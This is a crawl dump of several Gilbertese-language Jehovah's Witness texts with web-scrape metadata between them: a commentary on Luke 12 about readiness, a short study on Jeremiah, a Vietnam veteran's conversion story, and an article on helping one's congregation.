katuruturua kakawakin reken te aroaro ae eti ngkana e na riki temanna bwa kaain te Tautaeka n Uea.\nNgaia are e kaungaia taan rimwina Iesu bwa a na tauraoi imwain okina. E taku: \"Karin ami kunnikai ao kam na tauraoi, ao kaurai ami taura, ao kam riai ni katotongia aomata ake a tataningaa okin aia toka man te mare, bwa ngkana e a oki ma ni karebwerebwe, ao a a kaukia naba ngkekei nakoina. Ai kukureira tooro akanne ngkana e roko aia toka ao e noriia bwa a tabe n tantani!\"—Ruka 12:35-37.\nA kai ota taan rimwin Iesu n te aroaro are e kaikonakia. A a bon tauraoi tooro ake e taekinia ni kantaningaa okin aia toka. E kabwarabwaraa Iesu ni kangai: \"Ngkana e roko [te toka] ni bwakanakon te tai [tao man te aoa ruaiwa n te tairiki nakon te nukanibong], ke tao e roko imwin te nukanibong [man te nukanibong nakon tao te aoa tenua n te karangaina], ao e noriia n tauraoi ao a na kukurei!\"—Ruka 12:38.\nE kakawaki riki aei nakon te reirei ni kairiri ibukin taningamarauia tooro n te auti, ke taani mwakuri. E teretere raoi anne man aron Iesu ae Natin te aomata ni bon taekinna n te kaikonaki. E tuangia taan rimwina ni kangai: \"Kam na tauraoi naba ngkami, ibukina bwa e na roko Natin te aomata n te aoa are kam aki kantaningaia iai.\" (Ruka 12:40) Ngaia are e na bon roko Iesu n te tai ae imwaira. E tangiriia taan rimwina ai moarara riki te koraki ake kaain te \"nanai ae uarereke\" bwa a na tauraoi.\nE kan ota raoi Betero n nanon te baere e taekinna Iesu ngaia are e a titiraki ni kangai: \"Te Uea, ko taekina te kaikonaki aei tii nakoira ke nakoia naba aomata ni kabane?\" E aki kaekaa raoi Betero ma e kaikonaki ni kangai: \"Antai raoi te toro ae kakaonimaki ma ni wanawana, are e na mwiokoia ana toka i aoia ana tabonibai bwa e na teimatoa n angangania te amwarake ae tau ibukini kainnanoia, n te tai ae riai? Ai kukureira te toro anne, ngkana e roko ana toka ao e noria bwa e tabe ni karaoia! I tuangingkami te koaua, bwa e na mwiokoia i aon ana bwai ni kabane.\"—Ruka 12:41-44.\nN te kaikonaki are mai mwaina, ao e tei \"te toka\" ibukin Iesu ae Natin te aomata. N etina, e irekereke \"te toro ae kakaonimaki\" ma mwaane ake kaain te \"nanai ae uarereke\" ake a na anganaki te Tautaeka n Uea. (Ruka 12:32) E taekinna ikai Iesu bwa tabeman i buakoia te koraki aei a na angania \"ana tabonibai\" kanaia, ae \"te amwarake ae tau ibukini kainnanoia, n te tai ae riai.\" Ngaia are a kona n iangoia Betero ma taan rimwin Iesu ake tabeman ake e reireinia Iesu ao ni kaamwarakeia ni kaineti ma te onimaki, bwa iai te tai ae imwaia ae e na roko iai Natin te aomata. Ao n te tai anne, e na iai te babaire ibukini kaamwarakeaia ni kaineti ma te onimaki taan rimwin Iesu, ake \"ana tabonibai\" te Toka.\nE kamataataa Iesu n te anga teuana riki bwa bukin tera ngkai a riai n taratara raoi taan rimwina ao ni mutiakin aroaroia. E riki anne ibukina bwa e kona temanna n aki taratara raoi n te aro are e a kona iai ni kaaitaraia tarina ma mwaanena: \"Ma ngkana e kangai i nanona te toro anne, 'E kiriaria n roko au toka,' ao e moana oreaia tooro aika mwaane ma aine, ao e amwarake ma ni moi ao ni koro ni manging, ao e na roko ana toka te toro anne n te bong ae e aki kantaningaia ao n te aoa are e aki ataia, ao e na katuuaaea n te aro ae kakaiaki ao e na anganna tibwangana i buakoia te koraki aika aki kakaonimaki.\"—Ruka 12:45, 46.\nE taekinna Iesu ae e a tia n 'roko ni kauraa te ai i aon te aba.' Ao e a tia ni kauekei kauntaeka aika karikii kairiribai aika korakora, ao n tokina a a kakeaaki iai reirei aika kewe ao katei. E kona naba te aro aei ni karaureia aomata ake tao a kantaningaaki bwa a na katiteuanaaki, a na bobuaka i marenaia bwa \"te tama e na kaitaraa natina te mwaane, ao te nati te mwaane e na kaitaraa tamana, te tina e na kaitaraa natina te aine, ao te nati te aine e na kaitaraa tinana, te aine e na kaitaraa buun natina te mwaane, ao buun te nati te mwaane e na kaitaraa tinani buuna.\"—Ruka 12:49, 53.\nA kaineti riki taeka aikai nakoia taan rimwina. E a kainetiia ngkanne te koraki Iesu. A imanono angia aomata n rawa ni kakoauaa ae boni ngaia te Mesia, ai ngaia are e a tuangia ni kangai: \"Ngkana kam nora te nang ae kaborake mai maeao, ao kam a boni kangai naba, 'E nang roko te angibuaka ma te karau ae korakora,' ao e bon roko. Ao ngkana kam noria bwa e kare te ang mai maiaki, ao kam kangai, 'E nang kabuebue,' ao e bon riki. Taani mwamwanaa te aba, kam ataa nanon taraani karawa ma te aonnaba, ma e aera ngkai kam aki atai nanoni baika riiriki n te tai aei?\" (Ruka 12:54-56) E teretere raoi bwa a aki tauraoi.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-iutaia\/kakaonimaki-toro-tauraoi\/","date":"2018-02-18T11:13:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811830.17\/warc\/CC-MAIN-20180218100444-20180218120444-00297.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":936,"character_repetition_ratio":0.058,"word_repetition_ratio":0.004,"special_characters_ratio":0.24,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E ninikoria Ieremia ni kaotii aia bure tibun Iteraera ao aroia ni baka n raoiroi\nA iangoa te tembora tibun Iteraera bwa aongkoa aia bunna ae kona ni kamanoia\nE kaotia Iehova bwa a aki kona ni kabooaki mwini buure n taian angakarea\nIangoia: N na kangaa n taraia raoi bwa e boraoi au taromauri ma nanon Iehova ao tiaki te bwai ae I karaoia n akea nanou iai?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/maati-2017-mwb\/kaetieti-n-te-botaki-maa13-19\/a-katoka-kakaraoan-nanon-te-atua\/","date":"2018-02-18T11:13:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811830.17\/warc\/CC-MAIN-20180218100444-20180218120444-00297.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":69,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BON tain te kabuebue n 1970 ngke I rin n te onnaoraki ae Valley Fort General Hospital, i Phoenixville, Pennsylvania n te United States. E tutuoa rietatan raraau te neeti te mwaane ni katoa te itera n aoa. Bon te tautia ngai ae 20 au ririki are I a ituaki n te aoraki ae ewewe. E mata n raraoma te neeti are e taraa n ikawai riki nakoiu. Ngke e a kekerikaaki rietatan raraau ao I taku: \"Ko a tia n nonora te aomata ni mate?\" E nako nanona ao e taku: \"I tuai.\"\nN te tai anne, ao e a taraa n ae ai akea kantaningaan taai aika a na roko irou. Ma I kangaa n rin n te onnaoraki? N na karakina rongorongou tabeua.\nAU MOANTAI N NORA ARON TE BUAKA\nI a ituaki n te aoraki ngke I mwakuri n te tabo ni korokoro n tain te buaka i Vietnam. I boni kukurei ni buokiia aomata aika aoraki ao ake a ikoaki, ao I uaiakina naba ae N na riki bwa taokitan te korokoro. N Turai 1969 ao I a roko i Vietnam. N aroia ake a moan roko ao I a anganaki teuana te wiki ibukini kataneiaakiu n te tai ao te kabuebue ae korakora n te aba anne.\nTeutana te tai imwina, I a moana au mwakuri n te tabo ni korokoro n te onnaoraki i Mekong Delta i Dong Tam. A a bati erikota iai ake a uotiia aomata ake a ikoaki. E korakora te nanonnaba irou ao e ingainga nanou, ngaia are I a tangiria ni karaoa te mwakuri ngkekei naba. A katauraoaki aomata ake a ikoaki ao a waekoa n uotaki nakoni konteina aika mwaitoro aika uarereke ibukin te korokoro. E tauraoi te tia korokoro, te tia kamatu ao neeti aika uoman riki ake a ibetutu i nanon te tabo ae uarereke aei ni kabanea aia kona ni kamaiuia aomata. I a nori ngkanne kaako tabeua ake a nneaki ni baeki aika bubura man roroo, ake a aki karuoaki man taian erikota. I a kaongoaki bwa kanoaia boni mwakorokoron rabwataia tautia ake a rebwetaua n te buaka. Aei au moantai n nora aron te buaka.\nUKOUKORAN TE ATUA IROU\nI reiakina te koaua teutana mairouia Ana Tia Kakoaua Iehova ngke te roro n rikirake ngai. E bon reirei naba n te Baibara tinau ma taani Kakoaua ma e bon aki roko n te tia ae te bwabetito. I kukukurei ni mena irarikin tinau ngkana e reirei n te Baibara. N taai naba akanne, ao ti a rirarikin te Tabo n Taromauri ngai ma tamau ae ana kauaei tinau. I a titirakinna ni kangai: \"Tera te tabo anne?\" E kaekaai ni kangai: \"Tai nanako rarikia aomata akanne!\" Ibukina bwa I tangiria ao n onimakinna, I bon ongeaba n ana taeka. Ngaia are I a aikoa manga kakaitiboo ma Ana Tia Kakoaua Iehova.\nN okiu mai Vietnam, ao I a namakinna ae I kainnanoa te Atua. I rangi n rotakibuaka ngkana I uringi taai ake a karawawata. E taraa n ae akea ae ataa raoi te bwai ae riki i Vietnam. I uringa te mwaati are e karaoaki irouia taani kaitaraa te tautaeka bwa a bukinaki tautian Amerika n tiringia ataei n tain te buaka are e ribootinaki.\nIbukina bwa I kani karekea raun nanou ni kaineti ma bwaai n taamnei, I a moana kaakaeani bobotaki n Aro aika kakaokoro. E a kaman reke tangiran te Atua irou ma e bon aki anaaki nanou ni baike I nori ake a kakaraoaki n Aaro aikai. N tokina I a bon roko n aia Tabo n Taromauri Ana Tia Kakoaua Iehova i Delray Beach i Florida. Bon te Taabati te bong anne ni Beberuare 1971.\nNgke I a rinnako, ao e nang bane te kabwarabwara ibukia aomata nako, ngaia are I a tiku ni karokoa moanakin Te Taua-n-Tantani. I bon aki uringa te reirei are e maroroakinaki, ma I teimatoa n uringia ataeina ake a rairaira aia Baibara ni kakaaei kiibu. E bon anaaki nanou iai! I teimatoa n ongora ao ni mamataku. Ngke I otinako man te Tabo n Taromauri, e a nakoiu te tari te mwaane ae tao ai 80 ana ririki. Arana bon Jim Gardner. E kaota nakoiu te boki ae The Truth That Leads to Eternal Life ao e titirakinai ni kangai: \"Ko kukurei ni butimwaea te boki aei?\" Ti boraraoa ingabongin te Kaabong ibukini moanan au reirei n te Baibara.\nN tairikin te Taabati anne, ao I riai ni mwakuri. I boni mwakuri n te onnaoraki ae mena i Boca Raton i Florida ae tiaki ana bwai te tautaeka, n te tabo are a butimwaeaki iai aoraki aika karina. I tei man 11:00 p.m. nakon 7:00 a.m. E reke au tai ni wareware n te boki ae te Truth bwa akea te bae I karaoia. Ma ngke e nakoiu mataniwia neeti, e burita te boki mai baiu, e taraa tinanikuna ao e takarua ni kangai: \"Tai tuangai bwa ko na kaaina naba te Aro arei?\" I a manga anaa au boki arei ao I taku: \"E tuai ni bane warekana irou, ma e taraa n ae N nang riki bwa temanna Ana Tia Kakoaua Iehova!\" Ngke e a nako, ao I a manga reitaanako au wareware.\nI moana au reirei n te Baibara ma Brother Gardner ao n titiraki ni kangai: \"Tera ae ti na reirei iai?\" E taku: \"Ti na reirei n te boki are I anganiko.\" I taku: \"I a tia ni warekia.\" E kaeka ma te akoi Brother Gardner ni kangai: \"E tamaroa, ti na rinanon te moani mwakoro.\" I bon rangi ni mimi ni baike I tibwa ota iai. E kaoti kiibu aika bati man te Baibara ae te King James Version. N tokina I a reiakina taekan te Atua ae koaua ae Iehova. Ti rinanoni mwakoro aika tenua n te boki ae te Truth n te ingabong teuana ngai ma Brother Gardner, are I aranna bwa Jim. Ti waakinako n rinanon tenua te mwakoro ni katoa ingabongin te Kaabong. I rangi ni kukurei n au reirei akanne. Ai kakabwaiaakira ngai n reirei ma te tari ae kabiraki anne, are e rangi ni kinaa Charles T. Russell!\nTabeua te wiki imwina, I a kariaiakaki bwa te tia uarongorongo. E buokai Jim ni baike I raraoma iai, n ikotaki naba kangaangan te mwakuri ni minita man te auti teuana ma teuana. (Mwa. 20:20) I rangi ni kukurei n uataboa te uarongorongo ngkai e teimatoa Jim ni mwakuri ma ngai. I teimatoa n iangoa te mwakuri ni minita bwa boni kakabwaiaau ae te kabanea ni kakawaki irou. Ai kakimwareireira te riki bwa raon te Atua ni mwakuri!—1 Kor. 3:9.\nTANGIRAN IEHOVA ARE E MOAN REKE IROU\nN na karakina ngkai te rongorongo ae boni kaineti nakoiu—ae tangiran Iehova are e moan reke irou. (TeKao. 2:4) I buokaki n tangiran Iehova bwa N na tokanikai n uringan taai aika karawawata n tain te buaka ao kataaki riki tabeua.—Ita. 65:17.\nI buokaki n tangiran Iehova bwa N na tokanikai n uringan taai aika karawawata n tain te buaka ao kataaki riki tabeua\nI uringa te bong teuana ae kakawaki n te ririki 1971. I a tibwa kaotinakoaki man te auti ae bati ruuna are a kariaia au karo bwa N na maeka iai. E bon aki kariaia tamau are ana kauaei tinau bwa a na maeka Ana Tia Kakoaua Iehova iai! E aki tau au mwane n te tai anne. I bwabwakabwai ni katoa uoua te wiki n te onnaoraki are I mwakuri iai ao I kabanea angiina n oneau n uarongorongo bwa I aonga n taraaraoi ibukin Iehova. Iai nikiran au mwane teutana are I karinna n te bangke i Michingan ae te aono are I ikawairake iai. Ngaia are, I a riai ni maeka n au kaa tabeua te bong. I korobuai ao ni katauraoai n rokin taabo ni bwaa.\nN te tai are I mamaeka n au kaa, ao I kaea te mwakuri ni minita n te Tabo n Taromauri tabeua te aoa imwaia taari. E a tibwa bane au tei n te onnaoraki. Ngke I tabe n tataninga i tinanikun te Tabo n Taromauri are akea ae aki kona n norai, ao e a roko irou uringan Vietnam, ma boia aomata ake kabuekaki, noran te raraa ma aika kiribuabua. Titeboo ma I a manga ongo ao n noriia rorobuaka ake a bubutiiai ni kangai: \"E na reke buokau? E na reke buokau?\" I ataia ae a na boni mate, ma I kataia ni kabebetei nanoia n aron ae I kona, n aki kaota te mata n nanokawaki. I bon rotaki n te tang ngke I tabe n tekateka n tataninga.\nI a tia ni karaoa au kabanea n tamaroa, riki ngkana I rinanoni kataaki ma kangaanga, bwa N na aki kabua tangiran Iehova are e moan reke irou\nI bon tataro ao a wawaanako ranini matau. (TaiAre. 56:8) I a moanna ni kananoa au iango n taekan te mangauti. I bon uringnga aei: Bwa rinanon te mangauti ao e na kamaunai Iehova aekan tiritiri ake I a tia n nori ao te maraki are I a tia n rinanona ma tabemwaang. E na manga kautiia rorobuaka akanne te Atua, ao e na reke aia tai n reiakina te koaua ibukina. (Mwa. 24:15) N iangoan anne, e a rotaki ao ni kakorakoraaki riki nanou n tangira Iehova. E teimatoa n ururingaki irou te bong ae kakawaki anne. Ni moa man te tai anne ao I a tia ni karaoa au kabanea n tamaroa, riki ngkana I rinanoni kataaki ma kangaanga, bwa N na aki kabua tangiran Iehova are e moan reke irou.\nE AKOAI IEHOVA\nN tain te buaka ao a kakaraoi baika buakaka aomata. E reke naba irou anne. Ma I a tia ni buokaki n iaiangoani kiibu aika uoua ake e mamate nanou iai. Te moan bon Te Kaotioti 12:10, 11 are e taekinaki iai bwa e taenikai te Riaboro tiaki tii man te taeka are ti uarongorongoia, ma boni man raraan te Tiibutetei. Te kauoua bon I-Karatia 2:20. I ataia man te kibu anne bwa e mate Kristo Iesu \"ibukiu.\" E tarataraa nanou Iehova rinanon raraan Iesu ao E a tia ni kabwarai au bure ake I karaoi. Man ataan te koaua anne are I a kona ni karekea iai mataniwin nanou ae itiaki ao I a kairaki bwa N na karaoa au kabanea ni kona ni buokiia tabemwaang, bwa a na ataa Atuara ae nanoanga ae Iehova!—Ebera 9:14.\nNgkana I iaiangoa maiu ngkoa, ao I rangi ni kakaitau bwa e a tia n tabeakinai Iehova. Te katoto, ngke e a ataia Jim bwa I mamaeka n au kaa, e tuangai bwa N na reitaki ma te tari te aine ae iai ana auti ae kakabooaki ruuna. I kakoauaa bwa e a tia Iehova ni kabongana Jim ao te tari te aine arei ibukin au tabo ae N na mwengaraoi iai. E bon rangi n akoi Iehova! E kawakinia raoi taan taromauria aika kakaonimaki.\nREIAKINANI KABAERANTAN TE INGAINGANNANO MA TE IANGORAOI\nNi Mei 1971 ao e a angaraoi mwanangau nako Michigan ibukini karaoani baika kakawaki tabeua. Imwaini kitanan te Ekaretia mai Delray Beach i Florida, I kaona bukin au kaa ni booki ao imwina I a toua te kawai are kaineta meang. Imwaini kitanan aonon Georgia ao a boni bane booki ake a mena i bukin au kaa. I ingainga n uarongorongoa te Tautaeka n Uea n taabo aika kakaokoro. I roko ni karabuuti ao I katukui naba turaeki irouia aomata n taabo ni kamotirawa. Ni karokoa boong aikai, ao I tabe n iangoia ngkana tao a tia ni bwebwerake koraa ake I uniki.—1 Kor. 3:6, 7.\nMa I kakoauaa bwa man te tai are I moan reiakina iai te koaua ao I bon aki iangoraoi, riki ngkana I maroro ma au utu. Ibukina bwa e rangi ni korakora tangiran Iehova are e moan reke irou, I a ninikoria ao n aki wimakiki n uarongorongo nakoia. I bon tangiriia tariu aika John ao Ron, ngaia are I a kakorakoraai n tibwaa te koaua nakoia. I a manga karautaeka imwina nakoia ibukin aki kaotan tabeakinaia. Ma, I bon teimatoa n tataro ibukia bwa a na butimwaea te koaua. Man te tai anne, e a tia Iehova ni kataneiaai bwa N na iangoraoi riki ngkana I uarongorongo ao n angareirei.—IKoro. 4:6.\nTABEMAN AKE I TANGIRIIA NABA\nNgke I uringa raoi tangiran Iehova, I aki mwaninga are iai ake I tangiriia naba. I bon tangira naba buu ae Susan. I ataia ae I kainnanoa raou ae na buokai ni karaoa te beku ibukin te Tautaeka n Uea. Susan bon te aine ae korakora ana onimaki. I ururinga raoi te tai are ti moani kaitiboo iai. E tekateka i matan aia auti ana karo i Cranston, i Rhode Island. E tabe ni wareware n Te Taua-n-Tantani ao te Baibara. E anaaki nanou ngke e wareka te kaongora teuana man te maekatin, ao e rinanoi kiibu. I taku: 'Bon aei te aine ae korakora ana onimaki!' Ti mare n Ritembwa 1971 ao I rangi ni kakaitau bwa ngkekei ni karokoa ngkai, e teimatoa ni kakaonimaki nakoiu ao ni boutokaai. Ma I rangi ni kukurei irouna bwa e ngae ngke e tangirai, ma e tangira riki Iehova.\nTi bon rangi ni kakabwaiaaki bwa a riki natira mwaane aika Jesse ao Paul. Ngke a tabe n ikawairake, ao e boni memena Iehova irouia. (1Tam. 3:19) Ibukina bwa a maiuakina te koaua, I a kakabwaiaaki iai ma Susan. A teimatoa ni beku ibukin Iehova ibukina bwa a tia n uringa tangirana are e moan reke irouia. A a tia ni kabwanina aia tai ni beku, n te maan ae raka i aon 20 te ririki. I kakatonga naba irouia buuia natiu aika Stephanie ao Racquel, ake I arania bwa oin natiu. A boni mare natiu aikai ma aine aika onimaki ake a tangira Iehova ma nanoia ni kabane ao taamneia ni kabane.—IEbe. 6:6.\nImwini bwabetitoau, I a beku n te maan ae 16 te ririki i Rhode Island ike I a karikirakei iai iraorao aika kakawaki. I ururingi aia katoto aika raraoi unimwaane n te ekaretia ake I mwamwakuri ma ngaiia. Irarikin anne, I kakaitau naba ibukia mataniwi aika mwamwananga ake I aki kona ni wareki mwaitiia, ake I kakairi n aia katoto aika raraoi. Ai kakabwaiaakira te mwakuri ma taari mwaane ake a kateimatoa tangiran Iehova are e moan reke irouia! Ti mwaing nako North Carolina n 1987 ni beku n te tabo are e kainnanoaki riki iai te ibuobuoki, ao ikanne are ti a manga kareke riki iraoraora aika kakawaki. *\nN Aokati 2002 ao ti a butimwaea te kakao ngai ma Susan bwa ti na kaaina te utu ni Betaera i Patterson, n te United States. I moana au mwakuri n te Aobiti Ibukin te Mwakuri ao Susan e mena n te tabo n uaati. E rangi ni kukurei n te mwakuri iai! Imwina n Aokati 2005, I a mwiokoaki bwa N na kaain te Rabwata n Tautaeka. I nanorinano ni butimwaea te mwioko aei. E rotaki buu n iangoani mwiokoau, te mwakuri ao iriana ae te mwamwananga. E aki rangi n tatangira te kikibakiba Susan, ma e bati ara tai ni kibakiba! E taekinna Susan bwa e kaungaaki man aia taeka buuia tabemani kaain te Rabwata n Tautaeka ae kaotiotaki n te tangira, are e buokaki iai bwa e na kabanea korakorana ni boutokaai. E boni karaoa anne, ao anne bukina ae I rangi n tangiria iai.\nN au aobiti, ao I boni katobibiaki n taamnei aika bati ake a rangi ni kakawaki irou! I uringa iai te maiu ae kakawaki are I a tia n rinanona. I a tia ni karekei kakabwaia aika bati ibukini karaoan au kabanea n tamaroa, n ururinga iai tangiran Iehova are e moan reke irou!\n^ bar. 31 E kona n reke rongorongon Brother Morris, ngke e kabwanina ana beku ibukin Iehova n Te Taua-n-Tantani ae bwaini Maati 15, 2006, n iteraniba 26.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150515\/uringan-tangiran-iehova-are-moan-reke-rou\/","date":"2018-02-19T20:47:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812788.42\/warc\/CC-MAIN-20180219191343-20180219211343-00004.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2624,"character_repetition_ratio":0.049,"word_repetition_ratio":0.024,"special_characters_ratio":0.229,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IMWAINI waeraken Iesu nako karawa, e tuangia taan rimwina aei: \"Kam na riki bwa taani kakoaua ibukiu . . . nako tabon aonnaba.\" (Mwa. 1:8) A na kangaa ni karaoa anne Kristian ake rimoa?\nE taekinna Martin Goodman ae te professor n te Oxford University bwa te \"bwai ae kaokoroia Kristian ma koraki n Aro ake tabeua ao I-Iutaia naba i aan te embwaea n Rom rimoa, bon tabeakinani mwiokoaia.\" E a tia Iesu ni mwamwananga man te tabo teuana nakon teuana ni karaoa ana mwakuri ni minita. A kakairi n ana katoto Kristian ni koaua ao a bae n ota ae e irekereke kabutan \"te rongorongo ae raoiroi ae taekan ana tautaeka n uea te Atua,\" ma kakaaeaia aomata ake a kan ataa te koaua man te Baibara. (Ruka 4:43) Anne bukina teuana ae iai n te ekaretia ni Kristian n te moan tienture taian \"abotoro,\" ae te taeka ae nanona te koraki aika kamwanangaaki aika taan tei. (Mareko 3:14) E tua ae kangai Iesu nakoia taan rimwina: \"Mangaia are naako, reireinia aomata mai buakoia botannaomata nako bwa a na riki bwa taan rimwiu.\"\nAkea ngkai i rarikira ana abotoro Iesu ake 12, ma a bati ana toro Iehova aika kaotiota te nano ni mitinare. A kaeka ni kangai nakoni kaoakia bwa a na karababaa aia mwakuri n uarongorongo: \"Aio ngai; kanakoai.\" (Ita. 6:8, BG) A a tia ni mwaing tabeman nakon aaba aika raroanako, n aroia nga ma nga ake a a tia n reirei n te Kuura ni Kireata. Temwangina a mwaing nakon te tabo ae kaokoro bon i aon abaia. A bati ake a reiakina te taetae ae boou bwa a aonga ni mena n ekaretia ao kurubu tabeua, n tararuai kainnanoia naake a kabongana te taetae anne. A bae ni kaaitara ma kangaanga taari aikai, ake a mwaing nakon te tabo ae kainnanoaki iai te ibuobuoki ke ake a reiakina te taetae ae kaokoro, ao e bae n aki bebete irouia. A kainnanoa te nano ni kan anga ngaiia bwa a na kaota tangiran Iehova ao raoia n aomata. A a tia ni warebwaia boona ao a anga ngaiia bwa a na ibuobuoki. (Ruka 14:28-30) Taari aika karaoi mwaneka aikai a ibuobuoki n te bae kainnanoaki.\nMa e kakaokoro aroia aomata. A aki kona ni bane taani Kakoaua ni mwaing nakon te tabo ae kainnanoaki riki iai te ibuobuoki, ke n reiakina te taetae ae kaokoro. Ma ti kona ni kaota te nano ni mitinare bon i nanon ara ekaretia?\nRIIKI BWA TE MITINARE NI BON AM EKARETIA\nIai te nano ni mitinare irouia Kristian ake n te moan tienture, ma n taraana angiina a bon tiku i abaia. E ngae n anne, e kaineti naba nakoia ma ana toro te Atua ni kabane, te kaungaunga are e anganaki Timoteo ae kangai: \"Karaoa ana mwakuri te tia tataekina te euangkerio, kakororaoa raoi am mwakuri ni minita.\" (2Tim. 4:5) E kaineti nakoia Kristian ni kabane n aia tabo nako te tua ibukin tataekinan rongorongon te Tautaeka n Uea ao karekeaia taan rimwini Kristo. Irarikina, a kona ni karaoaki iteran te mwakuri ni mitinare aika bati n ara ekaretia n ara tabo.\nN te katoto, te mitinare n te aba ae ianena e riai ni kaangaraoa arona ma baika boou. A bati baika a rangi ni kaokoro n ana tabo ae boou are e mwiokoaki iai. Ma tera arora ngkana ti aki kona ni mwaing nakon te tabo ae kainnanoaki riki iai te ibuobuoki? Ti riai n iangoia bwa ti atai bwaai nako ibukin ara aono n ara ekaretia? Ke ti kona ni katai aanga aika boou ibukini kawaraia aomata? N te katoto, n 1940 ao a kaungaaki taari bwa a na bairea te bong teuana n te wiki ibukini karaoan te uarongorongo i rarikin te kawai. Ko kona ni buoka karaoan anne? Ke tera aroni kamanenaani kaa aika kokokaki ake a katokaaki iai booki? E nanonaki iai aei: Ko a tia n iangoi aanga n taekina te rongorongo ae raoiroi n aron akanne, aika tao a boou iroum?\nE na buokira bwainan te iango ae riai n ingainga ao ni kakorakoraira n te mwakuri ni minita. N taai aika bati ao bon taan uarongorongo aika rangi n tau ake a tatauraoi ni mwaing nakon te tabo ae kainnanoaki riki iai te ibuobuoki, ke ni beku n te tabo ae kaokoro iai te taetae. A kona n riki naakai bwa te kakabwaia nakoia aomata aika bati, n aroia ni moanibwaia te mwakuri ni minita. Irarikin anne, a kairiri mitinare n angiin te tai ni babaire n te ekaretia ni karokoa ae a reke taari mwaane aika tau n te tabo anne. Ngkana te mwaane ngkoe ae tia Kakoaua, ko 'ukoukora te kani' beku ibukia raom n te onimaki n am ekaretia?\nRIIKI BWA 'TAAN IBUOBUOKI AIKA TAANI KAKORAKORA'\nIrarikin te ingainga n uataboa te mwakuri ni minita ao te tauraoi ni karaoi tibwanga n te ekaretia, iai riki itera tabeua ake ti kona iai ni buoka ara ekaretia. A kona aomata nako aika ataei ke kaara, mwaane ke aine, n riki bwa 'taan ibuobuoki aika taani kakorakoraia' raao n te onimaki aika kainnanoa te ibuobuoki.\nNgkana ti na riki bwa taani buokiia raora n te onimaki, ti riai ni kinaia raoi. E kaumakira te Baibara bwa ti na \"iaiangoira i marenara\" n ara tai ni bobotaki. (Ebera 10:24) A kaotaki n taeka aikai bwa e ngae ngke ti na aki roko n tabeia aomata ma ti riai ni kataia ni kinaia tarira ao n ota irouia, ma baike a kainnanoi. E kona n ae baike a kainnanoi e kaineti ma bwaai n rabwata, aia namakin, ke aia onimaki. Tiaki tii tabeia unimwaane ao tabonibai buokaia raao n te onimaki. E koaua ae e kona n iai taai tabeua ake e bon riai temanna mai buakoia taari mwaane akanne ni karekea te ibuobuoki. (IKar. 6:1) Ma ti boni kona ngaira ni kabane ni buokiia taari aika kara, ke kaain te utu ae bwanin, ake iai aia kangaanga.\nN te katoto, ngke e kaaitara Salvatore ma te kangaanga n irekereke ma te mwane, ike e a riai ni kaboonakoa iai ana bitineti, mwengana, ao aia bwai aika bati, e a iangoia bwa ai tera aroia ana utu. A nora kainnanoia aei te utu teuana n te ekaretia. A karekea te ibuobuoki te mwane, a buoka Salvatore ma buuna ni karekea aia mwakuri, ao a kabanea aia tai n te tairiki ae bati ni kakauongo nakoia kaain te utu aei ao ni kaungaia. E a reke aia iraorao ae teimatoa i nanon ririki aika bati. N aki ongea te tabeaianga ae korakora are riki n te tai anne, ma a a kona ngkai utu aika uoua aikai n ururingi taai aika kakukurei ake a ikoikotaki iai.\nIrouia Kristian ni koaua, te waaki n te Aro bon ibukia aomata nako ao tiaki tii ibukia. N aron ae e kaotaki iroun Iesu, ti riai ni kaongoia aomata nako taekani berita aika tamaroa man te Baibara. E ngae ngke ti kona ni mwaing ke ti aki, ma ti kona ni karaoa ara kabanea n tamaroa ni karaoa ae raoiroi nakoia aomata nako. Ao ti boni kona ni karaoa anne n te ekaretia ae ti mena iai. (IKar. 6:10) Ni karaoan aei, ti na namakina kakimwareirein te anganga ao ni buokaki n \"teimatoa ni karikiuaa ni mwakuri nako aika raraoi.\"","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-maati-2016\/ibuobuoki-n-am-ekaretia\/","date":"2018-02-19T08:57:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812556.20\/warc\/CC-MAIN-20180219072328-20180219092328-00100.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1212,"character_repetition_ratio":0.062,"word_repetition_ratio":0.007,"special_characters_ratio":0.223,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) December 2015\nE mena n te kaongora aei kaongora ibukin te reirei ibukini Beberuare 1 nakon 28, 2016.\nNoria bwa tera ae ko uringnga mani kaongora n Te Taua-n-Tantani aika boreetiaki aika bwain Turai nakon Ritembwa 2015.\nE reireinira te koaua ae kakawaki aron te Atua ni kabonganai aia taetae aika 